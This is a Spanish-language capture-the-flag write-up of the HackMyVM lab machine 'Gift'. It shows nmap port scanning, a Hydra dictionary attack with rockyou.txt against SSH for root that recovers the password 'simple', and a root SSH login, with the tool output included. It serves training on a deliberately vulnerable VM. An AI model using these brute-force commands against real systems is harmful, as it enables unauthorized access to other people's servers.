cd ~/blog

~/writeups/hmv/005-gift.md

005 - Gift

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password de root recuperada mediante Password Guessing contra SSH
hackmyvm.eu/machines/machine.php?vm=Gift

~1 min de lectura


Enumeración de servicios

Comenzamos con un barrido de todos los puertos TCP. -p- evita limitarse a los puertos más comunes, -sS utiliza un escaneo SYN, -n desactiva la resolución DNS y -Pn asume que el host está activo:

nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oG 01-allPorts 192.168.1.29

El primer barrido descubre los puertos 22 y 80. Ejecutamos un segundo escaneo con scripts predeterminados (-sC) y detección de versiones (-sV) únicamente contra ellos:

nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.29
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 19:15 -03
Nmap scan report for 192.168.1.29
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
|   256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_  256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:60:F0:B3 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds

La salida identifica OpenSSH 8.3 y un servidor Nginx sin título. Revisamos la página, su código fuente y rutas comunes con Dirb, pero no obtenemos nombres de usuario ni otra pista útil.

Dictionary Attack contra SSH

La dificultad de la máquina y la ausencia de una ruta web sugieren comprobar una posible Weak Password. Probamos exclusivamente la cuenta root con rockyou.txt; esta decisión mantiene el ataque acotado a una hipótesis concreta:

hydra -l root -P ~/Documentos/rockyou.txt ssh://192.168.1.29
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-17 19:27:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://192.168.1.29:22/
[STATUS] 176.00 tries/min, 176 tries in 00:01h, 14344222 to do in 1358:22h, 16 active
[22][ssh] host: 192.168.1.29   login: root   password: simple

Hydra identifica la contraseña simple.

El resultado demuestra dos fallos combinados: SSH permite autenticación directa de root y la cuenta utiliza una contraseña incluida en un diccionario público. Como el acceso inicial ya será administrativo, no habrá una fase posterior de escalada.

Validamos la credencial iniciando una sesión SSH:

ssh root@192.168.1.29
root@192.168.1.29's password:
IM AN SSH SERVER
gift:~# whoami
root

whoami confirma que el acceso inicial ya posee UID 0; no existe una fase separada de escalada de privilegios. Recuperamos ambas flags y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados